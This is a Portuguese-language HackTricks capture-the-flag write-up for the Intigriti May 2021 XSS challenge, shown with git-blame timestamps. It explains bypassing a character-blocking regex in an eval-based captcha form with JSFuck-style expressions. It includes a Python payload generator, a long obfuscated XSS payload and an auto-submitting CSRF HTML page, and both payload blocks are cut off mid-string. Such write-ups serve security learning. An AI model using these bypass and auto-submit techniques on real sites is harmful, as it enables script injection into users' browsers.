hacktricks/ctf-write-ups/challenge-0521.intigriti.io.md

180 lines
71 KiB
Markdown
Raw Normal View History

2022-12-03 17:35:56 +00:00
# challenge-0521.intigriti.io
2022-04-28 16:01:33 +00:00
<details>
2023-04-25 18:35:28 +00:00
<summary><a href="https://cloud.hacktricks.xyz/pentesting-cloud/pentesting-cloud-methodology"><strong>☁️ HackTricks Cloud ☁️</strong></a> -<a href="https://twitter.com/hacktricks_live"><strong>🐦 Twitter 🐦</strong></a> - <a href="https://www.twitch.tv/hacktricks_live/schedule"><strong>🎙️ Twitch 🎙️</strong></a> - <a href="https://www.youtube.com/@hacktricks_LIVE"><strong>🎥 Youtube 🎥</strong></a></summary>
2022-04-28 16:01:33 +00:00
* Trabalha em uma **empresa de cibersegurança**? Quer ver sua **empresa anunciada no HackTricks**? ou quer ter acesso à **última versão do PEASS ou baixar o HackTricks em PDF**? Confira os [**PLANOS DE ASSINATURA**](https://github.com/sponsors/carlospolop)!
2023-06-06 18:56:34 +00:00
* Descubra [**A Família PEASS**](https://opensea.io/collection/the-peass-family), nossa coleção exclusiva de [**NFTs**](https://opensea.io/collection/the-peass-family)
* Adquira o [**swag oficial do PEASS & HackTricks**](https://peass.creator-spring.com)
* **Junte-se ao** [**💬**](https://emojipedia.org/speech-balloon/) [**grupo Discord**](https://discord.gg/hRep4RUj7f) ou ao [**grupo telegram**](https://t.me/peass) ou **siga-me no** **Twitter** **🐦**[**@carlospolopm**](https://twitter.com/hacktricks_live)**.**
* **Compartilhe seus truques de hacking enviando PRs para o [repositório hacktricks](https://github.com/carlospolop/hacktricks) e [repositório hacktricks-cloud](https://github.com/carlospolop/hacktricks-cloud)**.
2022-04-28 16:01:33 +00:00
</details>
2023-06-06 18:56:34 +00:00
### Breve Descrição <a href="#brief-description" id="brief-description"></a>
2021-06-07 22:32:49 +00:00
2023-06-06 18:56:34 +00:00
O desafio fornece um formulário vulnerável a XSS na página [https://challenge-0521.intigriti.io/captcha.php](https://challenge-0521.intigriti.io/captcha.php).\
Este formulário é carregado em [https://challenge-0521.intigriti.io/](https://challenge-0521.intigriti.io) via um iframe.
2021-06-07 22:32:49 +00:00
Foi descoberto que o formulário irá **inserir a entrada do usuário dentro da função JavaScript `eval`**. Isso geralmente não é uma boa ideia, pois pode levar à **execução arbitrária de JavaScript**, e este é um bom exemplo.\
No entanto, antes de inserir a entrada do usuário dentro da função `eval`, ela é verificada com a regexp `/[a-df-z<>()!\\='"]/gi` para que, se algum desses caracteres for encontrado, a entrada do usuário não será executada dentro do `eval`.\
De qualquer forma, foi encontrado um modo de contornar a proteção da regexp e executar `alert(document.domain)` abusando da perigosa função `eval`.
2021-06-07 22:32:49 +00:00
2023-06-06 18:56:34 +00:00
### Acessando o HTML <a href="#accessing-the-html" id="accessing-the-html"></a>
2021-06-07 22:32:49 +00:00
Foi descoberto que a letra `e` é permitida como entrada do usuário. Também foi descoberto que há um elemento HTML usando o `id="e"`. Portanto, este elemento HTML é acessível a partir do Javascript usando a variável `e`:\
2021-06-07 22:32:49 +00:00
![](https://i.imgur.com/Slq2Xal.png)
Além disso, é importante saber que em JS você pode **acessar os atributos de objetos com um ponto ou com uma string entre colchetes**. Portanto, você pode acessar o atributo `domain` de um objeto `document` de qualquer uma das seguintes maneiras:
2021-06-07 22:32:49 +00:00
```javascript
document.domain
document["domain"]
```
2023-06-06 18:56:34 +00:00
E o mesmo acontece com atributos que são funções (métodos):
2021-06-07 22:32:49 +00:00
```javascript
document.write("1")
document["write"]("1")
```
2023-06-06 18:56:34 +00:00
Então, a partir do elemento HTML `e`, é possível acessar o objeto `document` usando algo como:
2021-06-07 22:32:49 +00:00
```javascript
e["parentNode"]["parentNode"]["parentNode"]["parentNode"]["parentNode"]
```
### Chamar uma função sem parênteses com código JS como string <a href="#calling-a-function-without-parenthesis-with-js-code-as-string" id="calling-a-function-without-parenthesis-with-js-code-as-string"></a>
2021-06-07 22:32:49 +00:00
2023-06-06 18:56:34 +00:00
A partir do objeto `document`, é possível chamar a função `write` para **escrever texto HTML arbitrário que o navegador executará**.\
No entanto, como os caracteres `()` são **proibidos**, não é possível chamar a função usando eles. De qualquer forma, é possível chamar uma função usando **backtips** (\`\`).\
Além disso, é possível inserir como string código javascript que será executado usando `${...}` como:
2021-06-07 22:32:49 +00:00
```javascript
`${"alert(document.location)"}`
```
Portanto, combinando o acesso ao objeto `document` com essa técnica para executar funções sem parênteses, é possível **executar um alerta usando**:
2021-06-07 22:32:49 +00:00
```javascript
e["parentNode"]["parentNode"]["parentNode"]["parentNode"]["parentNode"]["write"]`${"<script>alert(document.location)</script>"}`
```
Pode testar este código num console de JavaScript dentro da página [https://challenge-0521.intigriti.io/captcha.php](https://challenge-0521.intigriti.io/captcha.php)
2021-06-07 22:32:49 +00:00
2023-06-06 18:56:34 +00:00
### Bypass final de caracteres proibidos <a href="#final-forbidden-characters-bypass" id="final-forbidden-characters-bypass"></a>
2021-06-07 22:32:49 +00:00
No entanto, ainda resta um problema. A maioria dos caracteres do exploit são **proibidos** pois aparecem na expressão regular `/[a-df-z<>()!\\='"]/gi`. Mas observe como todos os **caracteres proibidos são strings** dentro do exploit e os **caracteres não string no exploit (e\[]\`${}) são permitidos**.\
Isso significa que se for possível **gerar os caracteres proibidos como strings a partir dos caracteres permitidos**, é possível gerar o exploit.\
Para fazer isso, gerei um alfabeto semelhante ao [JSFuck](http://www.jsfuck.com) para gerar os caracteres necessários (_este alfabeto é personalizado para este desafio_).\
Pode **ver o alfabeto completo dentro do código do exploit** (que pode ser encontrado na próxima subseção e no arquivo _exploit.txt_).
2021-06-07 22:32:49 +00:00
Por exemplo, para **gerar a letra `a`** é possível aceder a **`[[]/e+e][0][1]`** pois `[[]/e+e][0]` gera a string `"NaN[object HTMLProgressElement]"` ou para gerar a **letra `f`** é possível aceder ao **5º caractere de `[[][[]]+e][0]`** pois essa expressão gera a string `"undefined[object HTMLProgressElement]"`.\
2023-06-06 18:56:34 +00:00
Usando esses truques e alguns mais complexos, foi possível **gerar todos os caracteres (letras e símbolos) das strings contidas** no exploit:
2021-06-07 22:32:49 +00:00
```javascript
e["parentNode"]["parentNode"]["parentNode"]["parentNode"]["parentNode"]["write"]`${"<script>alert(document.location)</script>"}`
```
### Código de Exploração <a href="#exploit-code" id="exploit-code"></a>
2021-06-07 22:32:49 +00:00
Este é o exploit em python usado para gerar o exploit final. Se você executá-lo, ele imprimirá o exploit:
2021-06-07 22:32:49 +00:00
```python
#JS Specific Direct Alphabet
x = {
"1": "1",
".": ".",
"[": "[e+e][0][0]",
"]": "[e+e][0][27]",
"/": "[/e/+e][0][0]",
"a": "[[]/e+e][0][1]",
"b": "[e+e][0][2]",
"c": "[e+e][0][5]",
"d": "[[][[]]+e][0][2]",
"e": "[e+e][0][4]",
"f": "[[][[]]+e][0][4]",
"g": "[e+e][0][15]",
"H": "[e+e][0][8]",
"i": "[[][[]]+e][0][5]",
"j": "[e+e][0][3]",
"L": "[e+e][0][11]",
"l": "[e+e][0][21]",
"M": "[e+e][0][10]",
"n": "[[][[]]+e][0][1]",
"N": "[[]/e+e][0][0]",
"o": "[e+e][0][1]",
"r": "[e+e][0][13]",
"s": "[e+e][0][18]",
"t": "[e+e][0][6]",
"T": "[e+e][0][9]",
"u": "[[][[]]+e][0][0]",
2021-06-07 22:32:49 +00:00
}
#JS Dependent Alphabet
#The following alphabet will use previously obtained characters
#Note that this way of getting the characters are custom for the abused HTML
outerHTML = '+'.join(x[k] for k in 'outerHTML')
x['p'] = f'e[{outerHTML}][1]'
x['y'] = f'e[{outerHTML}][39]'
x['<'] = f'e[{outerHTML}][0]'
x['>'] = f'e[{outerHTML}][62]'
x['"'] = f'e[{outerHTML}][13]'
parentNode = '+'.join(x[k] for k in 'parentNode')
document =f'e[{parentNode}][{parentNode}][{parentNode}][{parentNode}][{parentNode}]'
x['h'] = f'e[{parentNode}][{parentNode}][{outerHTML}][15]'
children = '+'.join(x[k] for k in 'children')
captcha = '+'.join(x[k] for k in 'captcha')
x['w'] = f'e[{parentNode}][{parentNode}][{parentNode}][{children}][{captcha}][{x["g"]}][{outerHTML}][35]'
write = '+'.join(x[k] for k in 'write')
x['m'] = f'e[{parentNode}][{parentNode}][{parentNode}][{children}][{captcha}][{x["g"]}][{outerHTML}][38]'
x['('] = f'e[{parentNode}][{parentNode}][{parentNode}][{children}][{captcha}][{x["g"]}][{outerHTML}][42]'
x[')'] = f'e[{parentNode}][{parentNode}][{parentNode}][{children}][{captcha}][{x["g"]}][{outerHTML}][43]'
# Exploit generation
payload_text = '<script>alert(document["domain"])</script>'
payload = '+'.join(x[k] for k in payload_text)
txt = f'{document}[{write}]'+'`${['+payload+']}`'
print(txt) #Write the exploit to stdout
```
2023-06-06 18:56:34 +00:00
### Exploração <a href="#exploitation" id="exploitation"></a>
2021-06-07 22:32:49 +00:00
2023-06-06 18:56:34 +00:00
Para gerar a exploração, basta executar o código Python anterior. Se preferir, você também pode copiá-lo/colá-lo daqui:
```
e[e[[e+e][0][1]+[[][[]]+e][0][0]+[e+e][0][6]+[e+e][0][4]+[e+e][0][13]+[e+e][0][8]+[e+e][0][9]+[e+e][0][10]+[e+e][0][11]][1]+[[]/e+e][0][1]+[e+e][0][13]+[e+e][0][4]+[[][[]]+e][0][1]+[e+e][0][6]+[[]/e+e][0][0]+[e+e][0][1]+[[][[]]+e][0][2]+[e+e][0][4]][e[[e+e][0][1]+[[][[]]+e][0][0]+[e+e][0][6]+[e+e][0][4]+[e+e][0][13]+[e+e][0][8]+[e+e][0][9]+[e+e][0][10]+[e+e][0][11]][1]+[[]/e+e][0][1]+[e+e][0][13]+[e+e][0][4]+[[][[]]+e][0][1]+[e+e][0][6]+[[]/e+e][0][0]+[e+e][0][1]+[[][[]]+e][0][2]+[e+e][0][4]][e[[e+e][0][1]+[[][[]]+e][0][0]+[e+e][0][6]+[e+e][0][4]+[e+e][0][13]+[e+e][0][8]+[e+e][0][9]+[e+e][0][10]+[e+e][0][11]][1]+[[]/e+e][0][1]+[e+e][0][13]+[e+e][0][4]+[[][[]]+e][0][1]+[e+e][0][6]+[[]/e+e][0][0]+[e+e][0][1]+[[][[]]+e][0][2]+[e+e][0][4]][e[[e+e][0][1]+[[][[]]+e][0][0]+[e+e][0][6]+[e+e][0][4]+[e+e][0][13]+[e+e][0][8]+[e+e][0][9]+[e+e][0][10]+[e+e][0][11]][1]+[[]/e+e][0][1]+[e+e][0][13]+[e+e][0][4]+[[][[]]+e][0][1]+[e+e][0][6]+[[]/e+e][0][0]+[e+e][0][1]+[[][[]]+e][0][2]+[e+e][0][4]][e[[e+e][0][1]+[[][[]]+e][0][0]+[e+e][0][6]+[e+e][0][4]+[e+e][0][13]+[e+e][0][8]+[e+e][0][9]+[e+e][0][10]+[e+e][0][11]][1]+[[]/e+e][0][1]+[e+e][0][13]+[e+e][0][4]+[[][[]]+e][0][1]+[e+e][0][6]+[[]/e+e][0][0]+[e+e][0][1]+[[][[]]+e][0][2]+[e+e][0][4]][e[[e+e][0][1]+[[][[]]+e][0][0]+[e+e][0][6]+[e+e][0][4]+[e+e][0][13]+[e+e][0][8]+[e+e][0][9]+[e+e][0][10]+[e+e][0][11]][1]+[[]/e+e][0][1]+[e+e][0][13]+[e+e][0][4]+[[][[]]+e][0][1]+[e+e][0][6]+[[]/e+e][0][0]+[e+e][0][1]+[[][[]]+e][0][2]+[e+e][0][4]][[e+e][0][5]+e[e[[e+e][0][1]+[[][[]]+e][0][0]+[e+e][0][6]+[e+e][0][4]+[e+e][0][13]+[e+e][0][8]+[e+e][0][9]+[e+e][0][10]+[e+e][0][11]][1]+[[]/e+e][0][1]+[e+e][0][13]+[e+e][0][4]+[[][[]]+e][0][1]+[e+e][0][6]+[[]/e+e][0][0]+[e+e][0][1]+[[][[]]+e][0][2]+[e+e][0][4]][e[[e+e][0][1]+[[][[]]+e][0][0]+[e+e][0][6]+[e+e][0][4]+[e+e][0][13]+[e+e][0][8]+[e+e][0][9]+[e+e][0][10]+[e+e][0][11]][1]+[[]/e+e][0][1]+[e+e][0][13]+[e+e][0][4]+[[][[]]+e][0][1]+[e+e][0][6]+[[]/e+e][0][0]+[e+e][0][1]+[[][[]]+e][0][2]+[e+e][0][4]][[e+e][0][1]+[[][[]]+e][0][0]+[e+e][0][6]+[e+e][0][4]+[e+e][0][13]+[e+e][0][8]+[e+e][0][9]+[e+e][0][10]+[e+e][0][11]][15]+[[][[]]+e][0][5]+[e+e][0][21]+[[][[]]+e][0][2]+[e+e][0][13]+[e+e][0][4]+[[][[]]+e][0][1]][[e+e][0][5]+[[]/e+e][0][1]+e[[e+e][0][1]+[[][[]]+e][0][0]+[e+e][0][6]+[e+e][0][4]+[e+e][0][13]+[e+e][0][8]+[e+e][0][9]+[e+e][0][10]+[e+e][0][11]][1]+[e+e][0][6]+[e+e][0][5]+e[e[[e+e][0][1]+[[][[]]+e][0][0]+[e+e][0][6]+[e+e][0][4]+[e+e][0][13]+[e+e][0][8]+[e+e][0][9]+[e+e][0][10]+[e+e][0][11]][1]+[[]/e+e][0][1]+[e+e][0][13]+[e+e][0][4]+[[][[]]+e][0][1]+[e+e][0][6]+[[]/e+e][0][0]+[e+e][0][1]+[[][[]]+e][0][2]+[e+e][0][4]][e[[e+e][0][1]+[[][[]]+e][0][0]+[e+e][0][6]+[e+e][0][4]+[e+e][0][13]+[e+e][0][8]+[e+e][0][9]+[e+e][0][10]+[e+e][0][11]][1]+[[]/e+e][0][1]+[e+e][0][13]+[e+e][0][4]+[[][[]]+e][0][1]+[e+e][0][6]+[[]/e+e][0][0]+[e+e][0][1]+[[][[]]+e][0][2]+[e+e][0][4]][[e+e][0][1]+[[][[]]+e][0][0]+[e+e][0][6]+[e+e][0][4]+[e+e][0][13]+[e+e][0][8]+[e+e][0][9]+[e+e][0][10]+[e+e][0][11]][15]+[[]/e+e][0][1]][[e+e][0][15]][[e+e][0][1]+[[][[]]+e][0][0]+[e+e][0][6]+[e+e][0][4]+[e+e][0][13]+[e+e][0][8]+[e+e][0][9]+[e+e][0][10]+[e+e][0][11]][35]+[e+e][0][13]+[[][[]]+e][0][5]+[e+e][0][6]+[e+e][0][4]]`${[e[[e+e][0][1]+[[][[]]+e][0][0]+[e+e][0][6]+[e+e][0][4]+[e+e][0][13]+[e+e][0][8]+[e+e][0][9]+[e+e][0][10]+[e+e][0][11]][0]+[e+e][0][18]+[e+e][0][5]+[e+e][0][13]+[[][[]]+e][0][5]+e[[e+e][0][1]+[[][[]]+e][0][0]+[e+e][0][6]+[e+e][0][4]+[e+e][0][13]+[e+e][0][8]+[e+e][0][9]+[e+e][0][10]+[e+e][0][11]][1]+[e+e][0][6]+e[[e+e][0][1]+[[][[]]+e][0][0]+[e+e][0][6]+[e+e][0][4]+[e+e][0][13]+[e+e][0][8]+[e+e][0][9]+[e+e][0][10]+[e+e][0][11]][62]+[[]/e+e][0][1]+[e+e][0][21]+[e+e][0][4]+[e+e][0][13]+[e+e][0][6]+e[e[[e+e][0][1]+[[][[]]+e][0][0]+[e+e][0][6]+[e+e][0][4]+[e+e][0][13]+[e+e][0][8]+[e+e][0][9]+[e+e][0][10]+[e+e][0][11]][1]+[[]/e+e][0][1]+[e+e][0][13]+[e+e][0][4]+[[][[]]+e][0][1]+[e+e][0][6]+[[]/e+e][0][0]+[e+e][0][1]+[[][[]]+e][0][2]+[e+e][0][4]][e[[e+e][0][1]+[[][[]]+e][0][0]+[e+e][0][6]+[e+e][0][4]+[e+e][0][13]+[e+e][0][8]+[e+e][0][9]+[e+e][0][10]+[e+e][0][11]][1]+[[]/e+e][0][
Então, você precisa **gerar uma página HTML** que, quando carregada, vai **redirecionar** a vítima para a página do **desafio** **configurando o exploit no formulário de captcha**. O código a seguir pode ser usado para esse propósito (_observe que o exploit está codificado em URL_):
2021-06-07 22:32:49 +00:00
```markup
<!-- CSRF PoC - generated by Burp Suite Professional -->
<body>
<script>history.pushState('', '', '/')</script>
<form action="https://challenge-0521.intigriti.io/captcha.php" method="POST">
<input type="hidden" name="c" value="e&#91;e&#91;&#91;e&#43;e&#93;&#91;0&#93;&#91;1&#93;&#43;&#91;&#91;&#93;&#91;&#91;&#93;&#93;&#43;e&#93;&#91;0&#93;&#91;0&#93;&#43;&#91;e&#43;e&#93;&#91;0&#93;&#91;6&#93;&#43;&#91;e&#43;e&#93;&#91;0&#93;&#91;4&#93;&#43;&#91;e&#43;e&#93;&#91;0&#93;&#91;13&#93;&#43;&#91;e&#43;e&#93;&#91;0&#93;&#91;8&#93;&#43;&#91;e&#43;e&#93;&#91;0&#93;&#91;9&#93;&#43;&#91;e&#43;e&#93;&#91;0&#93;&#91;10&#93;&#43;&#91;e&#43;e&#93;&#91;0&#93;&#91;11&#93;&#93;&#91;1&#93;&#43;&#91;&#91;&#93;&#47;e&#43;e&#93;&#91;0&#93;&#91;1&#93;&#43;&#91;e&#43;e&#93;&#91;0&#93;&#91;13&#93;&#43;&#91;e&#43;e&#93;&#91;0&#93;&#91;4&#93;&#43;&#91;&#91;&#93;&#91;&#91;&#93;&#93;&#43;e&#93;&#91;0&#93;&#91;1&#93;&#43;&#91;e&#43;e&#93;&#91;0&#93;&#91;6&#93;&#43;&#91;&#91;&#93;&#47;e&#43;e&#93;&#91;0&#93;&#91;0&#93;&#43;&#91;e&#43;e&#93;&#91;0&#93;&#91;1&#93;&#43;&#91;&#91;&#93;&#91;&#91;&#93;&#93;&#43;e&#93;&#91;0&#93;&#91;2&#93;&#43;&#91;e&#43;e&#93;&#91;0&#93;&#91;4&#93;&#93;&#91;e&#91;&#91;e&#43;e&#93;&#91;0&#93;&#91;1&#93;&#43;&#91;&#91;&#93;&#91;&#91;&#93;&#93;&#43;e&#93;&#91;0&#93;&#91;0&#93;&#43;&#91;e&#43;e&#93;&#91;0&#93;&#91;6&#93;&#43;&#91;e&#43;e&#93;&#91;0&#93;&#91;4&#93;&#43;&#91;e&#43;e&#93;&#91;0&#93;&#91;13&#93;&#43;&#91;e&#43;e&#93;&#91;0&#93;&#91;8&#93;&#43;&#91;e&#43;e&#93;&#91;0&#93;&#91;9&#93;&#43;&#91;e&#43;e&#93;&#91;0&#93;&#91;10&#93;&#43;&#91;e&#43;e&#93;&#91;0&#93;&#91;11&#93;&#93;&#91;1&#93;&#43;&#91;&#91;&#93;&#47;e&#43;e&#93;&#91;0&#93;&#91;1&#93;&#43;&#91;e&#43;e&#93;&#91;0&#93;&#91;13&#93;&#43;&#91;e&#43;e&#93;&#91;0&#93;&#91;4&#93;&#43;&#91;&#91;&#93;&#91;&#91;&#93;&#93;&#43;e&#93;&#91;0&#93;&#91;1&#93;&#43;&#91;e&#43;e&#93;&#91;0&#93;&#91;6&#93;&#43;&#91;&#91;&#93;&#47;e&#43;e&#93;&#91;0&#93;&#91;0&#93;&#43;&#91;e&#43;e&#93;&#91;0&#93;&#91;1&#93;&#43;&#91;&#91;&#93;&#91;&#91;&#93;&#93;&#43;e&#93;&#91;0&#93;&#91;2&#93;&#43;&#91;e&#43;e&#93;&#91;0&#93;&#91;4&#93;&#93;&#91;e&#91;&#91;e&#43;e&#93;&#91;0&#93;&#91;1&#93;&#43;&#91;&#91;&#93;&#91;&#91;&#93;&#93;&#43;e&#93;&#91;0&#93;&#91;0&#93;&#43;&#91;e&#43;e&#93;&#91;0&#93;&#91;6&#93;&#43;&#91;e&#43;e&#93;&#91;0&#93;&#91;4&#93;&#43;&#91;e&#43;e&#93;&#91;0&#93;&#91;13&#93;&#43;&#91;e&#43;e&#93;&#91;0&#93;&#91;8&#93;&#43;&#91;e&#43;e&#93;&#91;0&#93;&#91;9&#93;&#43;&#91;e&#43;e&#93;&#91;0&#93;&#91;10&#93;&#43;&#91;e&#43;e&#93;&#91;0&#93;&#91;11&#93;&#93;&#91;1&#93;&#43;&#91;&#91;&#93;&#47;e&#43;e&#93;&#91;0&#93;&#91;1&#93;&#43;&#91;e&#43;e&#93;&#91;0&#93;&#91;13&#93;&#43;&#91;e&#43;e&#93;&#91;0&#93;&#91;4&#93;&#43;&#91;&#91;&#93;&#91;&#91;&#93;&#93;&#43;e&#93;&#91;0&#93;&#91;1&#93;&#43;&#91;e&#43;e&#93;&#91;0&#93;&#91;6&#93;&#43;&#91;&#91;&#93;&#47;e&#43;e&#93;&#91;0&#93;&#91;0&#93;&#43;&#91;e&#43;e&#93;&#91;0&#93;&#91;1&#93;&#43;&#91;&#91;&#93;&#91;&#91;&#93;&#93;&#43;e&#93;&#91;0&#93;&#91;2&#93;&#43;&#91;e&#43;e&#93;&#91;0&#93;&#91;4&#93;&#93;&#91;e&#91;&#91;e&#43;e&#93;&#91;0&#93;&#91;1&#93;&#43;&#91;&#91;&#93;&#91;&#91;&#93;&#93;&#43;e&#93;&#91;0&#93;&#91;0&#93;&#43;&#91;e&#43;e&#93;&#91;0&#93;&#91;6&#93;&#43;&#91;e&#43;e&#93;&#91;0&#93;&#91;4&#93;&#43;&#91;e&#43;e&#93;&#91;0&#93;&#91;13&#93;&#43;&#91;e&#43;e&#93;&#91;0&#93;&#91;8&#93;&#43;&#91;e&#43;e&#93;&#91;0&#93;&#91;9&#93;&#43;&#91;e&#43;e&#93;&#91;0&#93;&#91;10&#93;&#43;&#91;e&#43;e&#93;&#91;0&#93;&#91;11&#93;&#93;&#91;1&#93;&#43;&#91;&#91;&#93;&#47;e&#43;e&#93;&#91;0&#93;&#91;1&#93;&#43;&#91;e&#43;e&#93;&#91;0&#93;&#91;13&#93;&#43;&#91;e&#43;e&#93;&#91;0&#93;&#91;4&#93;&#43;&#91;&#91;&#93;&#91;&#91;&#93;&#93;&#43;e&#93;&#91;0&#93;&#91;1&#93;&#43;&#91;e&#43;e&#93;&#91;0&#93;&#91;6&#93;&#43;&#91;&#91;&#93;&#47;e&#43;e&#93;&#91;0&#93;&#91;0&#93;&#43;&#91;e&#43;e&#93;&#91;0&#93;&#91;1&#93;&#43;&#91;&#91;&#93;&#91;&#91;&#93;&#93;&#43;e&#93;&#91;0&#93;&#91;2&#93;&#43;&#91;e&#43;e&#93;&#91;0&#93;&#91;4&#93;&#93;&#91;e&#91;&#91;e&#43;e&#93;&#91;0&#93;&#91;1&#93;&#43;&#91;&#91;&#93;&#91;&#91;&#93;&#93;&#43;e&#93;&#91;0&#93;&#91;0&#93;&#43;&#91;e&#43;e&#93;&#91;0&#93;&#91;6&#93;&#43;&#91;e&#43;e&#93;&#91;0&#93;&#91;4&#93;&#43;&#91;e&#43;e&#93;&#91;0&#93;&#91;13&#93;&#43;&#91;e&#43;e&#93;&#91;0&#93;&#91;8&#
```html
<input type="submit" value="Enviar solicitação" />
</form>
<script>
document.forms[0].submit();
</script>
</body>
2021-06-07 22:32:49 +00:00
</html>
```
2023-06-06 18:56:34 +00:00
Finalmente, **sirva o poc em um servidor HTTP** e acesse-o pelo navegador:\\
2021-06-07 22:32:49 +00:00
![](https://i.imgur.com/qack7GO.png)
2023-06-06 18:56:34 +00:00
Basta pressionar **submit** no formulário de captcha e o alerta será executado:
2021-06-07 22:32:49 +00:00
![](https://i.imgur.com/mCORty3.png)
2022-04-28 16:01:33 +00:00
<details>
2023-04-25 18:35:28 +00:00
<summary><a href="https://cloud.hacktricks.xyz/pentesting-cloud/pentesting-cloud-methodology"><strong>☁️ HackTricks Cloud ☁️</strong></a> -<a href="https://twitter.com/hacktricks_live"><strong>🐦 Twitter 🐦</strong></a> - <a href="https://www.twitch.tv/hacktricks_live/schedule"><strong>🎙️ Twitch 🎙️</strong></a> - <a href="https://www.youtube.com/@hacktricks_LIVE"><strong>🎥 Youtube 🎥</strong></a></summary>
2022-04-28 16:01:33 +00:00
* Você trabalha em uma **empresa de cibersegurança**? Gostaria de ver sua **empresa anunciada no HackTricks**? ou gostaria de ter acesso à **última versão do PEASS ou baixar o HackTricks em PDF**? Confira os [**PLANOS DE ASSINATURA**](https://github.com/sponsors/carlospolop)!
2023-06-06 18:56:34 +00:00
* Descubra [**A Família PEASS**](https://opensea.io/collection/the-peass-family), nossa coleção exclusiva de [**NFTs**](https://opensea.io/collection/the-peass-family)
* Adquira o [**swag oficial do PEASS & HackTricks**](https://peass.creator-spring.com)
* **Junte-se ao** [**💬**](https://emojipedia.org/speech-balloon/) [**grupo Discord**](https://discord.gg/hRep4RUj7f) ou ao [**grupo telegram**](https://t.me/peass) ou **siga-me no** **Twitter** **🐦**[**@carlospolopm**](https://twitter.com/hacktricks_live)**.**
* **Compartilhe seus truques de hacking enviando PRs para o [repositório hacktricks](https://github.com/carlospolop/hacktricks) e [repositório hacktricks-cloud](https://github.com/carlospolop/hacktricks-cloud)**.
2022-04-28 16:01:33 +00:00
</details>